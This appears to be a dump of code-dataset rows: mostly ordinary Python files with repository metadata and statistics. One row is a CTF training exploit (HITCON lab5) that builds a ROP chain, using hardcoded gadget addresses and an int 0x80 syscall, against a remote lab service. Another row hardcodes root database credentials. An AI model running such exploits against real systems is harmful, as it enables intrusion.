"CC0-1.0"
] | null | null | null | 6.00.1x/MidTerm Quiz/P6Flatten.py | MErmanProject/My-Projects | ca393b71ea8537f21a28dc6ca1558da27bcaa907 | [
"CC0-1.0"
] | null | null | null | def flatten(aList):
myList = []
for el in aList:
if isinstance(el, list) or isinstance(el, tuple):
myList.extend(flatten(el))
else:
myList.append(el)
return myList
| 26.666667 | 60 | 0.504167 | 26 | 240 | 4.653846 | 0.615385 | 0.198347 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.4 | 240 | 8 | 61 | 30 | 0.840278 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
376c345eb31698469708d64bc5b16f95f11dbfbe | 3,033 | py | Python | verified_email_change/views.py | fusionbox/django-verified-email-change | fb4b08eb6d1a419ed73409aa33b39a04779e773a | [
"BSD-2-Clause"
] | 1 | 2019-11-04T20:52:37.000Z | 2019-11-04T20:52:37.000Z | verified_email_change/views.py | fusionbox/django-verified-email-change | fb4b08eb6d1a419ed73409aa33b39a04779e773a | [
"BSD-2-Clause"
] | null | null | null | verified_email_change/views.py | fusionbox/django-verified-email-change | fb4b08eb6d1a419ed73409aa33b39a04779e773a | [
"BSD-2-Clause"
] | 1 | 2017-09-16T03:03:06.000Z | 2017-09-16T03:03:06.000Z | from django.views.generic import FormView, UpdateView
from django.db import transaction
from django.contrib import messages
from django.shortcuts import get_object_or_404
from django.contrib.auth import get_user_model
from django.conf import settings
from django.shortcuts import resolve_url
from django.utils.functional... | 35.267442 | 94 | 0.691065 | 380 | 3,033 | 5.323684 | 0.292105 | 0.044488 | 0.029659 | 0.024716 | 0.136431 | 0.095897 | 0.041522 | 0 | 0 | 0 | 0 | 0.003788 | 0.216617 | 3,033 | 85 | 95 | 35.682353 | 0.847643 | 0.108144 | 0 | 0.15625 | 0 | 0 | 0.097073 | 0.031864 | 0 | 0 | 0 | 0.011765 | 0 | 1 | 0.125 | false | 0.03125 | 0.203125 | 0.046875 | 0.5625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
376f670e1b8f00ad55925305051637b057fa3ff7 | 359 | py | Python | backend/app/db.py | s-bose/offline-password-manager | 85b5478d70bb51c2364d0d207cf66f8a11782623 | [
"MIT"
] | null | null | null | backend/app/db.py | s-bose/offline-password-manager | 85b5478d70bb51c2364d0d207cf66f8a11782623 | [
"MIT"
] | null | null | null | backend/app/db.py | s-bose/offline-password-manager | 85b5478d70bb51c2364d0d207cf66f8a11782623 | [
"MIT"
] | null | null | null | from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from sqlalchemy.ext.declarative import declarative_base
from app.core.config import DATABASE_URL
engine = create_engine(DATABASE_URL) # database engine
SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
Base = decla... | 35.9 | 75 | 0.835655 | 45 | 359 | 6.533333 | 0.466667 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.10585 | 359 | 9 | 76 | 39.888889 | 0.915888 | 0.103064 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.571429 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
3797bf049c28b8a4dcb96d0451d19e810f024303 | 280 | py | Python | setup.py | jallen13/google_auth | 82649e31d9ab30ab8decd2b58f4e319dc2b17ae5 | [
"MIT"
] | null | null | null | setup.py | jallen13/google_auth | 82649e31d9ab30ab8decd2b58f4e319dc2b17ae5 | [
"MIT"
] | null | null | null | setup.py | jallen13/google_auth | 82649e31d9ab30ab8decd2b58f4e319dc2b17ae5 | [
"MIT"
] | null | null | null | from setuptools import setup, find_packages
setup(name='google-api-auth',
version='0.1.0',
description = 'Google APIs authentication',
author = 'John Allen',
url = 'https://github.com/jallen13/google-api-auth.git',
packages = find_packages()
)
| 31.111111 | 62 | 0.65 | 34 | 280 | 5.294118 | 0.735294 | 0.133333 | 0.144444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022624 | 0.210714 | 280 | 8 | 63 | 35 | 0.791855 | 0 | 0 | 0 | 0 | 0 | 0.367857 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.125 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
37989f1ff5783f7a7a43a7d7de2d3393d35737b5 | 909 | py | Python | src/mapping/database.py | makerere-compute/cropsurveillance | 0d15e98cb92efdd6e19cf7ad840a4fd88e834d6e | [
"CC-BY-3.0"
] | 4 | 2015-01-09T18:47:12.000Z | 2018-11-09T17:29:00.000Z | src/mapping/database.py | makerere-compute/cropsurveillance | 0d15e98cb92efdd6e19cf7ad840a4fd88e834d6e | [
"CC-BY-3.0"
] | null | null | null | src/mapping/database.py | makerere-compute/cropsurveillance | 0d15e98cb92efdd6e19cf7ad840a4fd88e834d6e | [
"CC-BY-3.0"
] | null | null | null | #this script is for saving data to the mysql database
import MySQLdb
#create a connection to the datase
conn = MySQLdb.connect (host = "localhost",
user = "root",
passwd = "root",
db = "cropsurveillance")
cursor = conn.cursor ()
cursor.exe... | 37.875 | 126 | 0.684268 | 131 | 909 | 4.541985 | 0.427481 | 0.070588 | 0.020168 | 0.065546 | 0.262185 | 0.252101 | 0.252101 | 0.252101 | 0.252101 | 0.252101 | 0 | 0.001383 | 0.20462 | 909 | 23 | 127 | 39.521739 | 0.821577 | 0.19802 | 0 | 0 | 0 | 0.058824 | 0.256906 | 0.088398 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.058824 | 0.058824 | null | null | 0.117647 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
37affdcf85d08d1a85b7605e0de7eb84243b2279 | 334 | py | Python | conftest.py | tetsuzawa/dxx-py | 8c63327b8814bdd3499c1696b5a5f0eb9fe7fc76 | [
"MIT"
] | null | null | null | conftest.py | tetsuzawa/dxx-py | 8c63327b8814bdd3499c1696b5a5f0eb9fe7fc76 | [
"MIT"
] | null | null | null | conftest.py | tetsuzawa/dxx-py | 8c63327b8814bdd3499c1696b5a5f0eb9fe7fc76 | [
"MIT"
] | null | null | null | import pytest
import os
import numpy as np
import dxx
@pytest.fixture(scope="module")
def mock_data_file() -> str:
mock_file_name = "mock.DSB"
sampling_freq = 48000
mock_data = np.arange(5 * sampling_freq, dtype=np.int16)
dxx.write(mock_file_name, mock_data)
yield mock_file_name
os.remove(mo... | 19.647059 | 60 | 0.724551 | 53 | 334 | 4.301887 | 0.509434 | 0.140351 | 0.210526 | 0.140351 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029197 | 0.179641 | 334 | 16 | 61 | 20.875 | 0.80292 | 0 | 0 | 0 | 0 | 0 | 0.041916 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.333333 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
37c76b67f2a2e641db79f29db294b819d3490024 | 449 | py | Python | stubs/m5stack_flowui-1_4_0-beta/flowlib/lib/emoji.py | RonaldHiemstra/micropython-stubs | d97f879b01f6687baaebef1c7e26a80909c3cff3 | [
"MIT"
] | 38 | 2020-10-18T21:59:44.000Z | 2022-03-17T03:03:28.000Z | stubs/m5stack_flowui-1_4_0-beta/flowlib/lib/emoji.py | RonaldHiemstra/micropython-stubs | d97f879b01f6687baaebef1c7e26a80909c3cff3 | [
"MIT"
] | 176 | 2020-10-18T14:31:03.000Z | 2022-03-30T23:22:39.000Z | stubs/m5stack_flowui-1_4_0-beta/flowlib/lib/emoji.py | RonaldHiemstra/micropython-stubs | d97f879b01f6687baaebef1c7e26a80909c3cff3 | [
"MIT"
] | 6 | 2020-12-28T21:11:12.000Z | 2022-02-06T04:07:50.000Z | """
Module: 'flowlib.lib.emoji' on M5 FlowUI v1.4.0-beta
"""
# MCU: (sysname='esp32', nodename='esp32', release='1.11.0', version='v1.11-284-g5d8e1c867 on 2019-08-30', machine='ESP32 module with ESP32')
# Stubber: 1.3.1
class Emoji:
''
def clear():
pass
def draw_square():
pass
def sho... | 16.035714 | 141 | 0.572383 | 64 | 449 | 3.953125 | 0.640625 | 0.110672 | 0.130435 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119266 | 0.271715 | 449 | 27 | 142 | 16.62963 | 0.654434 | 0.463252 | 0 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0.4 | 0 | 0 | 0.466667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
8071919e1aa95195ef61c58834f2f2d4ada4535d | 258 | py | Python | examples/microblogging/init_db.py | half-cambodian-hacker-man/lustre | 93e2196a962cafcfd7fa0be93a6b0d563c46ba75 | [
"MIT"
] | 3 | 2020-09-06T02:21:09.000Z | 2020-09-30T00:05:54.000Z | examples/microblogging/init_db.py | videogame-hacker/lustre | 93e2196a962cafcfd7fa0be93a6b0d563c46ba75 | [
"MIT"
] | null | null | null | examples/microblogging/init_db.py | videogame-hacker/lustre | 93e2196a962cafcfd7fa0be93a6b0d563c46ba75 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from run_dev import random_secret_key
random_secret_key()
from microblogging import app, DATABASE_URL
from sqlalchemy import create_engine
if __name__ == "__main__":
app.db.metadata.create_all(create_engine(str(DATABASE_URL)))
| 21.5 | 64 | 0.802326 | 38 | 258 | 4.973684 | 0.657895 | 0.126984 | 0.15873 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004367 | 0.112403 | 258 | 11 | 65 | 23.454545 | 0.820961 | 0.081395 | 0 | 0 | 0 | 0 | 0.033898 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
8073b4266438788859aadc127c07d0e44167bfe7 | 408 | py | Python | spotify_dl/models.py | kaiulr/spotify1-dl | 3d2e3c33f2c697c4a936f8c0a89a04564bca0c74 | [
"MIT"
] | 1 | 2021-03-30T06:29:18.000Z | 2021-03-30T06:29:18.000Z | spotify_dl/models.py | tonyd33/spotify-dl | f453ad8e9ab3de45064045bfb8e7ae46434e31eb | [
"MIT"
] | null | null | null | spotify_dl/models.py | tonyd33/spotify-dl | f453ad8e9ab3de45064045bfb8e7ae46434e31eb | [
"MIT"
] | null | null | null | from peewee import SqliteDatabase
from peewee import Model, TextField
from os import path
from pathlib import Path
from spotify_dl.constants import SAVE_PATH
Path(path.expanduser(SAVE_PATH)).mkdir(exist_ok=True)
db = SqliteDatabase(path.expanduser(f"{SAVE_PATH}/songs.db"))
class Song(Model):
search_te... | 24 | 62 | 0.72549 | 55 | 408 | 5.254545 | 0.527273 | 0.083045 | 0.110727 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.191176 | 408 | 16 | 63 | 25.5 | 0.875758 | 0 | 0 | 0 | 0 | 0 | 0.05102 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.416667 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
807ff9a0013174ce9485ba56d32cbc72ac6a8cdb | 601 | py | Python | examples/arith.py | pcanz/pPEGpy | f4dc1bb3bfc56feaba5add5b815adf4a2768b909 | [
"MIT"
] | null | null | null | examples/arith.py | pcanz/pPEGpy | f4dc1bb3bfc56feaba5add5b815adf4a2768b909 | [
"MIT"
] | null | null | null | examples/arith.py | pcanz/pPEGpy | f4dc1bb3bfc56feaba5add5b815adf4a2768b909 | [
"MIT"
] | null | null | null | import pPEG
print("Arith operatpr expression example....")
arith = pPEG.compile("""
exp = add
add = sub ('+' sub)*
sub = mul ('-' mul)*
mul = div ('*' div)*
div = pow ('/' pow)*
pow = val ('^' val)*
grp = '(' exp ')'
val = " " (sym / num / grp) " "
sym = [a-zA-Z]+
num = [0-9]+
""")
tests = [
... | 18.212121 | 69 | 0.404326 | 90 | 601 | 2.7 | 0.366667 | 0.049383 | 0.049383 | 0.049383 | 0.041152 | 0 | 0 | 0 | 0 | 0 | 0 | 0.057269 | 0.244592 | 601 | 32 | 70 | 18.78125 | 0.477974 | 0.291181 | 0 | 0 | 0 | 0 | 0.648456 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.047619 | 0 | 0.047619 | 0.095238 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
808745cd6599b35823fa3a5f9fd93d09258ade85 | 1,519 | py | Python | Selenium_learning/04_ElementSendSmsTest.py | yeyuning1/AutoTT | 1ce88e9e73d71fa11d4d8ad12bd6741aa71f97d2 | [
"MIT"
] | null | null | null | Selenium_learning/04_ElementSendSmsTest.py | yeyuning1/AutoTT | 1ce88e9e73d71fa11d4d8ad12bd6741aa71f97d2 | [
"MIT"
] | 1 | 2021-06-02T00:24:41.000Z | 2021-06-02T00:24:41.000Z | Selenium_learning/04_ElementSendSmsTest.py | yeyuning1/AutoTT | 1ce88e9e73d71fa11d4d8ad12bd6741aa71f97d2 | [
"MIT"
] | null | null | null | from selenium import webdriver
from time import sleep
import unittest
class SendMsgCase(unittest.TestCase):
def setUp(self):
self.dr = webdriver.Chrome()
self.dr.get('https://h5.ele.me/login/#redirect=https%3A%2F%2Fwww.ele.me%2Fhome%2F')
self.dr.implicitly_wait(10)
# 封装CSS定位方法
... | 24.5 | 91 | 0.63792 | 194 | 1,519 | 4.737113 | 0.484536 | 0.060936 | 0.070729 | 0.052231 | 0.062024 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014925 | 0.250165 | 1,519 | 61 | 92 | 24.901639 | 0.791923 | 0.107966 | 0 | 0 | 0 | 0.03125 | 0.123134 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 1 | 0.28125 | false | 0.03125 | 0.09375 | 0.125 | 0.53125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
8098f59fb4f00fc445f8a807e5cbe4d479fa92bf | 863 | py | Python | HITCON-Training/LAB/lab5/simplerop.py | kernweak/HITCON-Training-writeup | cb9c7ca3dbb8bc22ad41bd94bf5b9f929823aa7c | [
"MIT"
] | 30 | 2017-09-05T14:29:30.000Z | 2022-03-20T01:51:29.000Z | HITCON-Training/LAB/lab5/simplerop.py | kernweak/HITCON-Training-writeup | cb9c7ca3dbb8bc22ad41bd94bf5b9f929823aa7c | [
"MIT"
] | null | null | null | HITCON-Training/LAB/lab5/simplerop.py | kernweak/HITCON-Training-writeup | cb9c7ca3dbb8bc22ad41bd94bf5b9f929823aa7c | [
"MIT"
] | 7 | 2018-03-15T10:07:43.000Z | 2020-12-14T09:36:19.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwnpwnpwn import *
from pwn import *
host = "10.211.55.28"
port = 8888
r = remote(host,port)
gadget = 0x809a15d # mov dword ptr [edx], eax ; ret
pop_eax_ret = 0x80bae06
pop_edx_ret = 0x806e82a
pop_edx_ecx_ebx = 0x0806e850
pop_eax_ret = 0x080bae06
buf = 0x80ea060
int... | 18.76087 | 51 | 0.70336 | 138 | 863 | 4.224638 | 0.42029 | 0.25729 | 0.133791 | 0.082333 | 0.303602 | 0.265866 | 0.221269 | 0.221269 | 0.133791 | 0 | 0 | 0.135501 | 0.144844 | 863 | 45 | 52 | 19.177778 | 0.654472 | 0.121669 | 0 | 0.323529 | 0 | 0 | 0.033201 | 0 | 0 | 0 | 0.090305 | 0 | 0 | 0 | null | null | 0 | 0.058824 | null | null | 0.029412 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
809fb67389f1a15a5e682873f0a520242ed9aef8 | 3,980 | py | Python | Credential-Adder-User-Input.py | Wason1/Cerner-Credential-Auto-Adder | fa42508661d352dbc6aea6858f6b8a54a7533184 | [
"MIT"
] | null | null | null | Credential-Adder-User-Input.py | Wason1/Cerner-Credential-Auto-Adder | fa42508661d352dbc6aea6858f6b8a54a7533184 | [
"MIT"
] | null | null | null | Credential-Adder-User-Input.py | Wason1/Cerner-Credential-Auto-Adder | fa42508661d352dbc6aea6858f6b8a54a7533184 | [
"MIT"
] | null | null | null | # This adds credentials to the pool for the credential box
# Asks user for year and users to add
start_day = 1
start_month = 1
#start_year = 1904
#users_to_add = 100
users_to_add = int(input('how many users do you want to add?'))
print('Be aware a user can not have a duplicate credential with the same start date')
st... | 24.567901 | 90 | 0.63191 | 659 | 3,980 | 3.708649 | 0.183612 | 0.195172 | 0.216039 | 0.211538 | 0.554419 | 0.519231 | 0.511866 | 0.502046 | 0.478314 | 0.478314 | 0 | 0.047451 | 0.216332 | 3,980 | 162 | 91 | 24.567901 | 0.736133 | 0.115578 | 0 | 0.687943 | 0 | 0 | 0.120034 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.028369 | 0 | 0.028369 | 0.014184 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
80c24487375fb8fc999bda53d3ebbccc9fadf09d | 411 | py | Python | mrpod/__init__.py | chuckedfromspace/mrpod | ed831ddb6c1c634767149630effec0e766b54e4a | [
"BSD-3-Clause"
] | 4 | 2020-12-06T17:03:21.000Z | 2021-05-26T22:07:59.000Z | mrpod/__init__.py | chuckedfromspace/mrpod | ed831ddb6c1c634767149630effec0e766b54e4a | [
"BSD-3-Clause"
] | null | null | null | mrpod/__init__.py | chuckedfromspace/mrpod | ed831ddb6c1c634767149630effec0e766b54e4a | [
"BSD-3-Clause"
] | null | null | null | """
MRPOD
"""
from __future__ import division, print_function, absolute_import
from .wavelet_transform import scale_to_frq, time_shift, CompositeFilter, WaveletTransform
from .modal_decomposition import (pod_eigendecomp, pod_modes, mrpod_eigendecomp,
mrpod_detail_bundle)
from .utils ... | 27.4 | 90 | 0.749392 | 50 | 411 | 5.62 | 0.68 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.187348 | 411 | 14 | 91 | 29.357143 | 0.841317 | 0.012165 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.714286 | 0 | 0.714286 | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.